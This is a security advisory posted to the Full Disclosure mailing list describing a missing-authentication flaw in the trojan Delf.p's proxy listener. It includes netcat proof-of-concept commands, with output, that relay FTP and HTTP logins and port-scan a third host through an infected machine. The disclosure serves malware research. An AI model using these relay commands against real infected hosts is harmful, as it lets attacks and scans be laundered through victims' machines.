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Date: Tue, 16 Mar 2021 22:39:15 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Dropper.Win32.Delf.p / Missing Authentication

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Delf.p
Vulnerability: Missing Authentication
Description: Delf.p drops an executable named "mmtask.exe" under system32
dir, it listens on TCP ports 3080,1180,1181,1182,1183 and UDP ports 53,
52304. The malware accepts TCP connections, connects to a destination, and
relays requests from the original connection to the destination and then
back to the origination system. Attackers who can reach an infected system
may launch attacks or port scan third party systems and will appear as the
attacks originated from that infected host. The malware can make
connections to various protocols like TELNET, HTTP, SSH, POP3 etc
Type: PE32
MD5: b02cc578d2e7f24fb67ec0afc42a9e13
Vuln ID: MVID-2021-0132
Dropped files: mmtask.exe
Disclosure: 03/16/2021

Exploit/PoC:
nc64.exe MALWARE_HOST 1183
220 WinGate Engine FTP Gateway ready
USER root@...GET_IP:21
331 Please specify the password.
PASS ""
230 Login successful.


nc64.exe MALWARE_HOST 1183
USER root@...GET_IP:80
GET / HTTP/1.1

HTTP/1.0 200 OK


TCP port 1181 port scanning:

Test port 22

nc64.exe 192.168.88.128 1181
 √  √  ² cisco>192.168.88.129:22
192.168.88.129:22
Connecting to host 192.168.88.129...Connected
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8

Port 22 open

Test port 23

nc64.exe 192.168.88.128 1181
 √  √  ² cisco>192.168.88.129:23
192.168.88.129:23
Connecting to host 192.168.88.129...Connection refused by Remote Host

Port 23 closed


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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